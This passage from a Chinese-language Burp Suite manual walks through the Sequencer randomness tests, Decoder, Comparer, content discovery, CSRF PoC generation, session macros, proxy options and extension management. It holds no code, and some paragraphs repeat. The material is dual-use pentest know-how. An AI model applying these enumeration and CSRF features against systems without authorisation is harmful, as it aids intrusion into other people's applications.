或隔离由样品表现任何不寻常的特性。其设置界面如下: 其中上面两个选项是控制数据分析的字符类型级,它包含Count和Transitions。Count是指 分析在令牌内的每个位置使用的字符的分布,如果是随机生成的样本,所用字符的分布很可 能是大致均匀的。在每个位置上分析统计令牌是随机产生的分布的概率。其分析结果图表如 下所示: 第十章如何使用BurpSequencer 121 其中上面两个选项是控制数据分析的字符类型级,它包含Count和Transitions。Count是指 分析在令牌内的每个位置使用的字符的分布,如果是随机生成的样本,所用字符的分布很可 能是大致均匀的。在每个位置上分析统计令牌是随机产生的分布的概率。其分析结果图表如 下所示: Transitions是指分析样品数据中的连续符号之间的变化。如果是随机生成的样品,出现在一 个给定的位置上的字符是同样可能通过在该位置使用的字符中的任一项中的下一个标志的改 变。在每个位置上统计分析令牌随机产生到变化的概率。其分析结果图表如下所示: 第十章如何使用BurpSequencer 122 下面的几项设置是用于控制数据分析的字节级测试,它比字符级测试功能更强大。启用字节 级分析中,每个令牌被转换成一组字节,与设置在每个字符位置的字符的大小决定的比特的 总数。它包含的测试类型有以下七种。 FIPSmonobittest——它测试分析0和1在每个比特位置的分配,如果是随机生成的样本,1 和0的数量很可能是大致相等。BurpSequencer记录每个位是通过还是没通过FIPS试验观 测。值得注意的是,FIPS测试正式规范假定样本总数为20000个时。如果你希望获得的结果 与该FIPS规范一样严格的标准,你应该确保达到20000个令牌的样本。其分析结果图表如下 所示: FIPSpokertest——该测试将j比特序列划分为四个连续的、非重叠的分组,然后导出4个 数,计算每个数字出现16个可能数字的次数,并采用卡方校验来评估数字的分布。如果样品 是随机生成的,这个数字的分布可能是近似均匀的。在每个位置上,通过该测试方式,分析 令牌是随机产生的分布的概率。其分析结果图表如下所示: 第十章如何使用BurpSequencer 123 与该FIPS规范一样严格的标准,你应该确保达到20000个令牌的样本。其分析结果图表如下 所示: 第十章如何使用BurpSequencer 124 FIPSrunstests——该测试将具有相同值的连续的比特序列在每一个位置进行划分成段,然 后计算每一个段的长度为1,2,3,4,5,和6以及6以上。如果样品是随机生成的,那么这些 段的长度很可能是由样本集的大小所确定的范围之内。在每个位置上,使用该分析方法,观 察令牌是随机生成的概率。其分析结果图表如下所示: FIPSlongrunstest——这个测试将有相同值的连续的比特序列在每一个位置进行划分成 段,统计最长的段。如果样品是随机生成的,最长的段的数量很可能是由样本集的大小所确 定的范围之内。在每个位置上,使用此分析方法,观察令牌是随机产生的最长段的概率。其 分析结果图表如下所示: 第十章如何使用BurpSequencer 125 第十章如何使用BurpSequencer 126 可能是非随机的。在每个位置,使用此种分析方法,观察令牌是随机发生的概率。其分析结 果图表如下所示: Correlationtest——比较每个位置具有相同值的令牌样本与每一个位置具有不同值的短令牌 样本之间的熵,以测试在令牌内部的不同的比特位置中的值之间的任何统计学显著关系。如 果样品是随机生成的,在给定的比特位置处的值是同样可能伴随着一个或一个零在任何其它 位的位置。在每个位置上,使用此种分析方法,观察令牌是随机生成的可能性。为了防止任 第十章如何使用BurpSequencer 127 可能是非随机的。在每个位置,使用此种分析方法,观察令牌是随机发生的概率。其分析结 果图表如下所示: Correlationtest——比较每个位置具有相同值的令牌样本与每一个位置具有不同值的短令牌 样本之间的熵,以测试在令牌内部的不同的比特位置中的值之间的任何统计学显著关系。如 果样品是随机生成的,在给定的比特位置处的值是同样可能伴随着一个或一个零在任何其它 位的位置。在每个位置上,使用此种分析方法,观察令牌是随机生成的可能性。为了防止任 第十章如何使用BurpSequencer 128 本章涉及诸多数学统计分析的知识,在表述或理解过程中由于知识水平的限制可能会存在错 误,如果有问题的地方,欢迎发送邮件到t0data@hotmail.com,先感谢您的批评指正。 第十章如何使用BurpSequencer 129 第十一章如何使用BurpDecoder BurpDecoder的功能比较简单,作为BurpSuite中一款编码解码工具,它能对原始数据进行各 种编码格式和散列的转换。其界面如下图,主要由输入域、输出域、编码解码选项三大部分 组成。 输入域即输入需要解码的原始数据,此处可以直接填写或粘贴,也可以通过其他Burp工具的 上下文菜单中【SendtoDecoder】;输出域即对输入域进行解码的结果显示出来。无论是输 入域还是输出域都支持文本与Hex两种格式,其中编码解码选项中,由解码选项(Decode as)、编码选项(Encodeas)、散列(Hash)三个构成。实际使用中,可以根据场景的需要进 行设置。对于编码解码选项,目前支持URL、HTML、Base64、ASCII、16进制、8进制、2 进制、GZIP共八种形式的格式转换,Hash散列支持SHA、SHA-224、SHA-256、SHA-384、 SHA-512、MD2、MD5格式的转换,更重要的是,对于同一个数据,我们可以在Decoder的 界面,进行多次编码解码的转换。如下图所示: 第十一章如何使用BurpDecoder 130 第十一章如何使用BurpDecoder 131 第十二章如何使用BurpComparer 第十二章如何使用BurpComparer 132 BurpComparer在BurpSuite中主要提供一个可视化的差异比对功能,来对比分析两次数据之 间的区别。使用中的场景可能是:1.枚举用户名过程中,对比分析登陆成功和失败时,服务 器端反馈结果的区别。2.使用Intruder进行攻击时,对于不同的服务器端响应,可以很快的 分析出两次响应的区别在哪里。3.进行SQL注入的盲注测试时,比较两次响应消息的差异, 判断响应结果与注入条件的关联关系。其界面如下图: 第十二章如何使用BurpComparer 133 对于Comparer的使用,主要有两个环节组成,先是数据加载,然后是差异分析。Comparer 数据加载的方式常用的有:从其他Burp工具通过上下文菜单转发过来、直接粘贴、从文件加 载三种方式。当加载完毕后,如果你选择了两次不同的请求或应答消息,则下发的比较按钮 将被激活,可以选择文本比较或者字节比较。如下图: 如果点击了【words】或者【bytes】,则进入比对界面,页面自动通过背景颜色显示数据的 差异。如下图: 其中,文本比较(words)是指通过文本的方式,比如说以HTML的方式,比较两个数据的差 异;而字节比较(bytes)是指通过16进制的形式,比较两次内容的差异。如下图,注意下发不 同内容的颜色标注。 第十二章如何使用BurpComparer 134 第十二章如何使用BurpComparer 135 第十三章数据查找和拓展功能的使用 通过第一部分十二个章节的学习,我们对BurpSuite的基本使用已经非常熟悉,从这一章开 始,我们进入BurpSuite高级功能的使用。 BurpSuite高级功能在界面布局上主要集中在两大块,一是菜单栏,另一个是右击菜单的 Engagementtools。 我们先来看看菜单栏,与日常使用相关的主要功能菜单是Burp、Intruder、Repeater.下面我们 就逐一学习各个菜单的功能。 Burp Burp菜单下包含的数据查找(Search)、组件状态存储、组件状态恢复三部分。 第十三章数据查找和拓展功能的使用 136 数据查找(Search)数据查找功能主要用来快速搜索Target、Proxy、Repeater三个组件 中的请求和应答消息的内容,其界面如图: 第十三章数据查找和拓展功能的使用 137 默认情况下,当我们打开功能界面时,都是空的。如果我们在搜索框输入关键字,点击 【Go】之后,下面的列表中将自动显示匹配到的所有消息。默认匹配时,是从HTTP消 息中的Host、url、请求消息头,请求消息Body、应答消息头、应答消息Body中搜索匹配 字段。在整个Search面板中,有三大块设置项用于我们控制对数据的查询。 Options主要控制关键字匹配的方式:大小写敏感、域内搜索、正则表达式匹配、动态更 新、反向匹配Locations主要用于控制关键字查找的范围:请求消息头、请求消息Body、 应答消息头、应答消息Body Tools主要用于控制关键字搜索的Burp工具组件的范围:Target、Proxy、Repeater我们 通过Options、Locations、Tools三者的组合,能准确的搜索我们关注的字符、脚本、 referer、备注等信息。当然,Search面板也集成了Burp的横向传递功能,当我们找到或 发现关心的HTTP消息后,直接可传递到其他的工具组件中。 组件状态存储和恢复,与组件状态和恢复相关的子菜单比较多,分别是:Savestate保 存当前Burp的状态,主要保存站点地图、Proxy历史日志、扫描的结果和正在扫描的队 列、Repeater当前和历史记录、Suite其他工具组件的所有配置信息。当我们点击【Save state】时,Burp将会提示我们是否只保存Scope中的数据 第十三章数据查找和拓展功能的使用 138 同时,也 会提示我们,是否对存储文件的存在的密码进行保存。你可以选择不保存、明文保存、 使用主密码进行加密保存三种的任何一种。如果使用主密码加密,当你在恢复设置时, Burp将提示密码没有保存或者输入主密码。 第十三章数据查找和拓展功能的使用 139 Restore state从之前的文件中恢复Burp之前保存的数据,与上面的Savestate操作相对应。 使用组件状态存储和恢复的功能,能够帮助我们在渗透测试中带来极大的帮助。它主要体现 在: 1. 保存你每一天的工作空间和进度以及问题的状态,以便于第二天查看。 2. 当系统发生故障或无法测试时,通过存储的Burp状态查看之前的问题和消息内容。 3. 通过归档的文件,你能跟踪已经修复的问题。 4. 通过所有的归档文件,对整个应用系统安全问题分布情况有总体的分析和评估。 5. 通过Burp状态文件作为模板,在团队间共享Burp配置和相关测试内容。 Intruder 第十三章数据查找和拓展功能的使用 140 Intruder菜单主要用于自动化攻击的相关配置。它的菜单和对应的功能如下: Startattack开始发起攻击Opensaveattack重新加载之前保存的Intruder攻击文件Save attackconfig、Locdattackconfig、Copyattackconfig,主要控制Intruder的攻击配置信 息Automaticpayloadposition主要用于控制payload的使用方式:替换参数值或者追加参数 值Configurepredefinedpayloadlists用于控制Burp默认的payload字典值,当我们点击此 菜单时,会弹出payload字典配置文件的界面,如下图所示: 我们可以选择一 个payload子类型,对字典值进行修改。需要注意的事,这里选择的是payload文件存放的目 录,当选择目录后,会自动加载目录下的payload文件。 Repeater 第十三章数据查找和拓展功能的使用 141 Intruder菜单主要用于Repeater工具的控制,它的子菜单有: UpdateContent-Length 当执行Repeater操作时,自动更新消息头中的Content-LengthUnpackgzip/deflate解压压 缩文件Followredirections跳转控制,可以选择从不跳转、同一站点内跳转、Scope内跳 转、始终跳转四种的其中之一Processcookieinredirections跳转的同时是否处理Cookie View主要控制Repeater面板整个布局 熟悉完菜单栏之后,我们来看看Engagementtools。 从上图中我们知道,此功能位于右击菜单中,它包含Findreferences、Discover content、Scheduletask、GenerateCSRFPoc四个子菜单。 Findreferences是指对选中的某条Http消息获取其referer信息 第十三章数据查找和拓展功能的使用 142 第十三章数据查找和拓展功能的使用 143 Discovercontent是指对选中的某条Http消息,根据其url路径,进行目录枚举和文件枚 举操作。当我们点击后,将弹出其配置界面。 其Discover选项有:挖掘文件和目录、仅仅挖掘文件、仅仅挖掘目录(递归遍历子目录, 可指定其层级或深度) 挖掘的文件名(filenames)选项有:Built-inshortfilelist内联的短文件列表、Built-in shortdirectorylist内联的短目录列表、Built-inlongfilelist内联的长文件列表、Built- inlongdirectorylist内联的长目录列表、Namesdiscoveredinuseonthetargetsite 网站内发现的名称、Derivationsbasedondiscovereditem基于已有名称进行猜测。 同时,如上图所示,我们也可以根据文件的拓展名对文件类型进行管理。 从上而下依次的含义是:Testtheseextensions测试这些扩展名文件Testall extensionsobservedontargetsite不测试这些扩展名文件,这个选项在我们不知道站 点的大体情况下,我们可以去除那些我们熟悉的文件扩展名,然后去挖掘未知的扩展名 第十三章数据查找和拓展功能的使用 144 文件Testthesevariantextensionsondiscoveredfiles测试发现这些文件扩展名的变 体,从图中我们可以看出,在测试备份文件的时候,这个选项会非常有用Testfile stemswithnoextension测试没有扩展名的文件 挖掘引擎配置选项有: 主要有Casesensitivity大小写敏感、Adddiscoveredcontenttosuitesitemap添加 挖掘结果到站点地图中、Copycontentfromsuitesitemap复制Target站点地图到挖掘 的站点地图中、Spiderfromdiscoveredcontent爬取挖掘到文件的内容、Numberof discoverythreads挖掘的线程并发数目、Numberofspiderthreads爬取的线程并发 数目。 第十三章数据查找和拓展功能的使用 145 Scheduletask任务时间表任务时间表的功能主要是把当前选中的url作为初始路径,然 后进行多种任务的选择,进入任务时间表进行执行。 从图中我 们可以看出,依据初始的url,我们可以做扫描、爬取、状态保存的相关操作。 第十三章数据查找和拓展功能的使用 146 GenerateCSRFPoc生成CSRF的POC此功能的作用是,依据选中的http消息,自动生 成CSRF的POC内容。当我们把POC的内容保存为HTML即可执行。 第十三章数据查找和拓展功能的使用 147 在生成POC时,我们可以对生成的参数进行设置,如图中右上角的【options】所示。 我们可以选择根据http特性自动生成、url编码的form表单、Mutipart类型的form表单、普 通文本的form表单、跨域的异步请求以及自动提交,这些选项中一个或两个,当我们设 置好之后,点击左下角的【Regenerate】重新生成即可。需要注意的是,Mutipart类型的 form表单和普通文本的form表单的选择是由http消息中包含的content-type决定的。如果 修改了POC的生成设置,则需要点击左下角的【Regenerate】按钮,重新生成POC。当 POC生成之后,你可以使用【CopyHTML】文本,放入html文件中进行浏览执行,也可 以点击【TestinBrower】,在浏览器中直接预览执行,进行测试。 第十三章数据查找和拓展功能的使用 148 第十三章数据查找和拓展功能的使用 149 第十四章BurpSuite全局参数设置和使用 在BurpSuite中,存在一些粗粒度的设置,这些设置选项,一旦设置了将会对BurpSuite的整 体产生效果,这就是BurpSuite中Options面板。当我们打开Options面板即可看到,它是由 Connections、HTTP、SSL、Sessions、Display、Misc六个选项卡组成。 本章的内容主要包括: Burp网络连接设置(Connections) HTTP应答消息处理设置(HTTP) SSL连接和加密设置(SSL) 会话设置(Sessions) 显示设置(Display) 其它工具设置(Misc) 下面我们就依次来看看每一个选项卡包含哪些详细的功能设置。 Burp网络连接设置(Connections) Connections选项卡主要用来控制Burp如何来处理平台认证、上游代理服务器、Socks代理、 超时设置、主机名或域名解析以及Scope之外的请求六个方面的相关配置。当我们打开 Connections选项卡,从上往下拖动,首先看到的设置将是平台身份认证(Platform Authentication)。 平台身份认证(PlatformAuthentication) 第十四章BurpSuite全局参数设置和使用 150 这些设置允许你配置Burp自动执行到目标Web服务器的平台身份验证,不同的主机可以 配置不同的认证方式和证书。目前支持的身份验证类型有:BASIC,NTLMv1,NTLMv2 和“摘要”式认证(Digestauthentication)。其设置界面截图如下: 其中域名 和主机名字段只用于NTLMv1,NTLMv2身份验证。在平台身份认证(Platform Authentication)设置的最下方有一个Checkbox选项(Promptforcredentialsonplatform authenticationfailure),如果此项选中,则表示当遇到身份验证失败时,Burp会显示一 个交互式的弹窗,提示验证失败的信息。 上游代理服务器(UpstreamProxyServers) 第十四章BurpSuite全局参数设置和使用 151 这些设置主要是控制Burp是否会发送请求到上游代理服务器,或直转向目标Web服务 器。从代理服务器配置的图中我们可以看出,这是一个列表,那就表明我们可以配置多 个匹配规则。当我们配置了多个规则时,可以针对不同的目标主机或主机组指定不同的 代理服务器设置。这些规则将按照顺序,并将与目标Web服务器相匹配的第一个规则作 为生效规则。如果列表没有规则匹配,Burp默认采取直连、非代理的方式进行连接。针 对每一个配置,其界面截图如下: 我们可以 使用在目标主机输入框中采用正则表达式,使用通配符(*零个或多个字符匹配?与任何 字符相匹配,除了一个点)。来指定将所有请求发送到一个代理服务器。而对于配置的 每个上游代理服务器,我们可以根据需要指定认证方式和认证凭据。它支持的身份认证 类型有:BASIC,NTLMv1,NTLMv2和“摘要式”身份验证。同样,域名和主机名字段只 用于NTLM身份认证。当我们每配置完成一条匹配规则之后,它将出现在上游代理服务 器的列表中,我们可以在列表中对其进行内容的编辑和上下顺序的调整。 第十四章BurpSuite全局参数设置和使用 152 Socks代理 这些设置允许我们配置Burp使用SOCKS代理的方式进行所有传出的通信,但此设置只在 TCP层生效,所有出站请求将通过这个代理发送。如果我们同时设置了已游HTTP代理服 务器配置的规则,则请求上游代理将通过这里配置的SOCKS代理发送。其请求的匹配路 径依次是:本地-->上游代理-->SOCKS代理。在使用SOCKS代理时,我们需要勾选 【UseSOCKSproxy】,并提供代理的ip或者主机名、端口、认证的用户名和口令(如 上图所示)。如果我们勾选了【DoDNSlookupsoverSOCKSproxy】,则进行域名解 析时,将通过SOCKS代理去查询,而不会使用本地缓存。 超时设置(Timeouts) 这些设置主要用于指定Burp各种网络任务的超时。我们可以对以下超时项进行设置: 正常(Normal)-此设置用于大多数网络通信,并确定Burp怎样放弃请求和记录已发生 超时前等待。 开放式应答(Open-endedresponses)-该设置只用在一个响应正在处理不包含内容长 度或传输编码HTTP标头。在这种情况下,Burp确定传输已经完成之前等待指定的时间间 隔。3.域名解析(Domainnameresolution)-此设置确定Burp如何重新进行成功的域 名查找,如果目标主机地址频繁变化时需要设定为一个适当的低的值。 失败的域名解析(Faileddomainnameresolution)-此设置确定Burp多久会重新尝试 不成功的域名查找。 第十四章BurpSuite全局参数设置和使用 153 以上的选项设置的值都是以秒为时间单位,如果一个选项留空,那么表示Burp永远不会超 时。 主机名或域名解析 此项配置比较简单,通过这些设置,我们可以指定主机名映射到IP地址,来覆盖本地计算机 提供的DNS解析。每个主机名解析规则需要指定主机名,并与主机名相关联的IP地址。同 时,每一个规则可以单独启用或禁用来控制其是否生效。当我们在渗透测试中,如果使用了 隐形代理来测试富客户端组件,此功能可以确保请求正确转发。 Scope之外的请求 这一特性可用于防止Burp发送任何超出Target面板中设置的Scope范围之外的请求,当我 们需要保证没有请求到不在Scope范围内为它是有用的。例如,如果我们勾选了【Drop allout-of-scoperequests】,即使你的浏览器使得超出范围的目标请求,这些请求也会 被Burp被丢弃。当然,我们可以启用此功能为当前的目标范围,如图,选中【Usesuite scope】。或者,可以使用URL匹配规则定义自定义范围,选中【Usecustomscope】。 当我们选中【Usecustomscope】时,界面将会显示其相关URL匹配规则的详细设置。 如下图: 第十四章BurpSuite全局参数设置和使用 154 和TargetScope配置类似,它也分包含域和排除域,因其配置方式与Scope一致,此处就 不在赘述。如果配置中有不明白的地方,请参数TargetScope配置章节 Session设置 会话处理规则(SessionHandlingRules) 如上图所示,Burp允许你自定义会话处理规则的列表,这能让我们细粒度地控制Burp如何处 理应用程序的会话处理机制和相关功能。对于处理规则,Burp中规则的构成包括范围(规则 适用于)和动作(规则做什么),当我们点击【Add】按钮,弹出的规则配置界面如下图所 示,其中Details和Scope两个面板的设置分别对于于上文的动作和范围。 动作(RulesAction) 第十四章BurpSuite全局参数设置和使用 155 每个规则可以执行一个或多个操作,例如:从Burp的cookiejar中更新cookies、验证当前会 话、运行宏(预定义的请求序列)等等。通过创建具有不同范围和操作的多个规则,您可以 定义Burp将应用于不同应用程序和函数的行为的层次结构。例如,在特定测试中,您可以定 义以下规则:对于所有请求,从Burp的cookiejar添加cookie;对于对特定域的请求,请验证 与该应用程序的当前会话是否仍处于活动状态,如果没有,请运行宏以重新登录到应用程 序,然后使用生成的会话令牌更新cookiejar;对于包含csrftoken参数的特定URL的请求,首 先运行宏以获取有效的csrftoken值,并在发出请求时使用此值。在Details面板中,Burp已经 预制了七类规则动作,他们分别是: 1. UseCookiesFromtheSessionHandlingCookieJar这个配置的动作是通过Burp的 Cookie.jar用来更新请求的cookie信息,当然,你可以设置更新全部的cookie还是有选择 性的更新。 2. SetaSpecificCookieorParameterValue这个配置的动作是指定cookie或者某个参数 的值,如果没有设置的话,则在会话中添加此参数或者cookie。 3. CheckSessionIsValid此动作是检查当前会话是否有效,如果无效,则可选择地执行 下一步的动作以获得新的有效会话。或者,我们可以将Burp配置为仅每X个请求验证会 话,这有助于避免在应用程序发出多余的请求(==下图中2部分所示==)。为了确定当 前会话的有效性,Burp通常会发出一个或多个请求。这些请求可能是(==下图中1部分所 示==):a)当前的会话请求b)执行宏脚本 第十四章BurpSuite全局参数设置和使用 156 当Burp发出请求,并验证了会话的有效性之后,将不再做下一步动作;如果运行了宏, 则Burp将进一步检查请求的应答消息。为了准确地确定会话有效性,我们通常将Burp检 查响应配置为搜索表达式,其搜索范围为(==上图中3部分所示==):a)HTTP响应头 b)HTTP响应体c)任何重定向目标的URL除了范围外,在设置正则匹配/字符匹配的字符 串同时,我们也可以匹配大小写是否敏感、会话是否有效、如果会话失效,需要做的下 一步动作是什么等操作。关于会话失效后的下一步操作,Burp中预制了两个类型,如下 图所示: 第十四章BurpSuite全局参数设置和使用 157 a) 运行宏b)从浏览器内部恢复会话针对于这两类操作,会在接下来的章节中描述,此处不 再赘述。 4. PromptForIn-BrowserSessionRecovery这个配置的动作是针对于会话失效后,从 浏览器内部进行会话恢复的。在会话恢复时,需要使用Proxy代理的请求记录信息,如果 使用此动作,则浏览器的代理设置与Burp需要一致。 5. RunaMacro在Burp中,宏是一系列顺序操作的Burp操作的总和,预先定义好的,在 Session中被运行,用于会话规则的处理。宏运行后,Burp根据最终的宏响应报文来选择 更新当前正在处理的请求中的参数和Cookie。至于宏的定义和设置在接下来的章节中会 专门描述,此处仅做简要介绍。当我们在添加RulesAction时选择了“RunaMacro”项,则 弹出的宏配置界面如下图所示: 第十四章BurpSuite全局参数设置和使用 158 点击【Add】则添加一个宏,选择某个宏记录,点击【Edit】则可以对宏配置进行编辑。 其设置界面如下图: 第十四章BurpSuite全局参数设置和使用 159 上图中宏的名称、items、请求和应答消息等简单关注即可,需要重点关注的是 【configureitem】按钮中对参数的设置。当我们点击此按钮,打开宏参数的配置界面: 第十四章BurpSuite全局参数设置和使用 160 此界面上已经对请求报文中的参数和cookie自动提取出来,按照元素分别展示,同时,界 面下半部分为客户化参数设置,可以自定义自己想要的参数,并从应答报文中提取参数 的值。 第十四章BurpSuite全局参数设置和使用 161 在上图中,当我们鼠标双击1处时,2和3处会自动设置提取数据的段,我们只要在4处简 单填写参数的名字即可完成常用的宏参数设置。设置完宏之后,当宏运行时,其作用的 范围依赖于SessionScope的设置。 6. RunaPost-RequestMacroPost-Request宏通常使用于多步骤测试的场景,例如:后 一步的测试数据依赖于上一步的请求结果。在这些场景下,Post-Request宏的使用会帮 助你完成参数值的自动化地填充、fuzz、scan等。 7. InvokeaBurpExtension这个配置的动作是Burp的拓展插件,来对当前会话数据进行 处理。此处调用的插件,必须要先在Burp的插件中心进行注册。关于Burp插件,请阅读 《BurpSuite应用商店插件的使用》章节。 第十四章BurpSuite全局参数设置和使用 162 8. 范围(Scope) 而对于Burp做出的每个请求,它在Scope中定义规则在哪些请求的范围内,并且按顺序 执行所有这些规则的动作(除非条件检查动作确定不应该对请求)。每个规则的范围可 以基于正在处理的请求的以下特征来定义,在Scope面板中共分为以下三类:1.正在发 送请求的Burp工具(ToolsScope),包含Burp的各个常用工具组件,例如:Target、 Scanner、Proxy、Intruder等。2.请求的网址(UrlsScope),包含所有的URL地址、 指定的作用于、自定义作用域三种方式,其配置与Target类似。 第十四章BurpSuite全局参数设置和使用 163 3.请求中的参数名称(ParamtersScope),当选中此项时,点击【Edit】按钮即可对参 数进行配置,如下图所示例: 第十四章BurpSuite全局参数设置和使用 164 第十四章BurpSuite全局参数设置和使用 165 配置完毕后的Scope截图大体如下图所示: 配置完成后,会话处理规则将对作用域的Burp工具组件中的会话进行处理,例如,如何配置 了Proxy,则通过Proxy的会话,可以通过此面板下方的【opensessionstracer】进行会话跟 踪。如下图: 第十四章BurpSuite全局参数设置和使用 166 CookieJar Burp通过维护Cookiejar来维护你访问过得所有web站点的cookie信息,Cookiejar的信息在 Burp的所有工具组件之间是数据共享的。 第十四章BurpSuite全局参数设置和使用 167 我们可以通过上图中的勾选项配置,来指定Cookiejar在哪些工具组件之间生效。当设置完毕 后,这些工具组件的流量数据更新,会保证Cookiejar的数据也一致性的更新。同时,我们也 可以点击下方的【Opencookiejar】按钮,来做cookie信息的手工维护。 宏(Macros) 在会话处理规则章节中,我们队宏的定义已经做了初步的描述,现在我们就来讲一讲Burp的 宏的使用。Burp中宏的定义是:一个或者多个请求的预定义序列,其本质是一个或者多个请 求,按照一定的顺序组成并按照顺序执行的操作集合的总称。典型的宏的使用场景有:a)检 测用户登录页面,判断当前会话是否仍然有效。b)模拟登录操作,以获取一个新的会话令 牌。c)在多步骤测试过程中,获取前一步骤的反馈数据,作为后面测试的输入数据。d)在多 步骤测试过程中,完成测试目的后,用于结果的验证。除了基本的请求序列外,宏还包含每 一个请求相关的cookie、请求参数、数据依赖等配置项。1.宏的维护 上图为宏的维护界面,通过【Add】、【Edit】、【Remove】按钮,我们可以对宏进行新 建、修改和删除操作。当有多个宏的时候,我们可以通过【Up】和【Down】按钮来调节宏的 位置,来控制宏执行的先后顺序。2.宏的新建和修改新建是新增一个宏,修改是对宏列表中 已有宏的信息进行修改,其界面和操作类似。此处仅以新建为例,来讲述宏的使用。当我们 第十四章BurpSuite全局参数设置和使用 168 点击【Add】按钮来新建一个宏,则Burp将弹出宏信息录入界面。 宏信息的录入界面为图中的MacrosEditor,而图中的MacrosRecorder界面为请求的记录。当 我们新建宏操作时,可以选择一条或一组的请求记录,做为宏的基础。 如上图所示,选择序列18~22的记录作为宏的序列,点击【OK】保存序列后,配置参数信 息。 第十四章BurpSuite全局参数设置和使用 169 当我们点击【configureItem】按钮时,即弹出参数配置界面(如上图)。其配置界面分上下 两个部分,上部为图中1所示,主要是对已有参数值的设置,下部为图中2所示,我们可以根 据实际场景的需要,添加自定义参数和参数值。完成了如上的设置之后,我们点击【OK】按 钮,则一个宏已经被正确的创建。3.宏的使用完成宏的设置之后,下面我们就看看宏在渗透 测试中通常是被如何使用的。在会话处理规则(SessionHandlingRules)章节中我们知道, 配置【RuleActions】时有RunaMacro、RunaPost-RequestMacro两个选项,当我们设 置了其中的选项,针对于当前会话,在作用域的范围内,宏就会生效。无论你设置了哪种类 型的宏,其使用的数据处理逻辑大体如下图所示: 第十四章BurpSuite全局参数设置和使用 170 其中图中1所示为通过宏应答的响应更新参数的值,我们可以全量更新参数值也可以部分更新 参数值;图中2所示为更新cookie的值,同样,我们也可以全量更新参数值也可以部分更新参 数值;图中3所示为执行宏之后,还可以执行Burp的插件,需要执行的插件即在此处配置。 显示设置(Display) 和其他的软件一样,Burp也存在显示设置,作为软件与用户习惯交互的接口。Burp的显示设 置主要包含:用户界面(UserInterface)、Http消息显示(HTTPMessageDisplay)、字符 集设置(CharacterSets)以及页面渲染(HTMLRendering) 用户界面主要用来设置字体和界面风格 第十四章BurpSuite全局参数设置和使用 171 常用的有 Windows风格、Windows经典风格、Nimbus等,修改配置后,需要重启Burp才会生效。 Http消息显示主要用来设置其他Burp工具组件中http消息的显示字体、高亮等形式。 字符集设置主要用来设置http消息显示时使用的字符集编码,正确的使用字符集是防止消 息显示乱码的基础,默认情况下会自动获取系统字符集。 页面渲染是指http消息进行渲染时,是否也显示图片等信息,如果显示图片,可能会增加 新的http请求消息。 杂项设置(Misc) Burp的杂项主要包含以下七个部分内容: 快捷键设置(Hotkeys) 第十四章BurpSuite全局参数设置和使用 172 Burp的快捷键设置遵循了系统软件的设置习惯,比如Ctrl+V、Ctrl+C、Ctrl+Z都是和操作 系统一样,同时,在各个工具组件之间的切换和消息传递时,Burp的快捷键基本遵循了 Ctrl+组件的首字母,例如:sendtoRepeater是Ctrl+RsendtoIntruder是Ctrl+I详细的快 捷键读者自己在使用过程中,会慢慢熟悉,而且,Burp也提供了自定义快捷键的功能, 只有点击下方的【Edithotkeys】按钮,进行修改即可。 日志设置(Logging) 用来控 制Burp中的哪些工具组件需要记录日志,记录时,也可以单独记录请求或者应答消息。 临时文件位置(TemporaryFilesLocation) 默认情况下,burp会在用户的系统目录作为临时文件的目录,同样,我们也可以修改这 个目录,指定其他的盘符目录作为临时文件目录,burp在工作过程中,产生的临时数据 会存放在此目录中。如果修改了此设置,需重启Burp后方可生效。 自动备份设置(AutomaticBackup) 第十四章BurpSuite全局参数设置和使用 173 此设置用于保存Burp的状态和配置,设置完成后,会在后台定时地保存Burp的当前配置 参数和运行状态。 任务队列(ScheduledTasks) 我们可以通过任务队列的管理,来控制任务的开始和结束以及周期性运行。目前Burp的 任务控制主要为以下几类(如下图),点击【Add】按钮,按照操作向导一步步的执行即 第十四章BurpSuite全局参数设置和使用 174 可。 性能反馈(PerformanceFeedback)主要用于Burp的使用问题或bug反馈。 第十四章BurpSuite全局参数设置和使用 175 BurpSuite应用商店插件的使用 Burp在软件中提供了支持第三方拓展插件的功能,方便使用者编写自己的自定义插件或从插 件商店中安装拓展插件。Burp扩展程序可以以多种方式支持自定义Burp的行为,例如:修改 HTTP请求和响应,自定义UI,添加自定义扫描程序检查以及访问关键运行时信息,包括代理 历史记录,目标站点地图和扫描程序问题等。本章讲述的主要内容有: 应用商店插件的安装使用(BAppStore) 管理和加载Burp插件(Extension) 其他选项设置(Options) 应用商店插件的安装使用 在BurpExtender面板中,有一个BAppStore的Tab页,这就是Burp的应用商店,内容是提供 各种Burp的插件。默认情况下,当你点击【BAppStore】的Tab页时,界面列表会显示插件 明细,若你的环境是通过代理访问外网的,则需要在【Options】->【Connections】- >【UpstreamProxyServers】进行设置,具体如下图所示: 其中代理服务器的host和port为你本地的网络环境访问外网的代理主机和端口,更详细的设置 请参加Connections章节相关内容。 第十五章BurpSuite应用商店插件的使用 176 如果你的网络设置没有问题,则应用商店的界面显示大体如下: 从图中我们可以看出,左边为各个插件的应用列表,当选中某个插件后,右侧显示的为该插 件的描述信息和安装信息。如果我们需要使用某个插件,则点击右侧下方的【install】按钮, 进行安装。 第十五章BurpSuite应用商店插件的使用 177 此时,安装按钮置为灰色,同时显示为【installing】,右下角也显示安装中,如上图。安装完 成后,界面会显示重新安装【Reinstall】和插件评分按钮【Submitrating】,作为插件商店的 用户推荐。 安装完毕后,在 BurpExtender的Extension的Tab页面中,会自动显示已加载的插件列表。通过插件列表的管 理,我们可以对插件进行后期的维护。 第十五章BurpSuite应用商店插件的使用 178 当然,除了从应用商店自动安装插件外,我们也可以下载插件,进行手工安装。如下图: 第十五章BurpSuite应用商店插件的使用 179 当我们点击图中1处的手工安装按钮,则弹出插件安装文件存储的盘符,选择指定的插件文 件,点击打开即可进行安装。 管理和加载Burp插件(Extension) 从上一章节我们已经了解到,安装完成的插件,都会显示在插件列表中。 如果我们想对某个插件的配置信息进行编辑,则如上图中所示,选中插件,其下方的 【Details】标签页会显示插件的拓展信息,如:拓展的插件类型(java/Python/Ruby)、插件 的文件名、存储的位置。除了【Details】标签页外,【Output】和【Errors】两个页面分别 可以设置此插件的标准输出和错误信息输出信息。 从上图中我们可以看出,日志信息的输出有三种方式:a)系统控制台输出b)存储到指定的文 件中c)Burp的界面输出默认情况下,会选择Burp的界面输出。在实际应用中,我们可以根据 自己的需要,对日志的存储方式进行调整。 第十五章BurpSuite应用商店插件的使用 180 其他选项设置 Burp插件的其他选项设置主要是指Options的Tab页中的相关设置。 从图中我们可以看出,【Setting】的设置是指:是否启动时自动重新加载burp插件,当我们 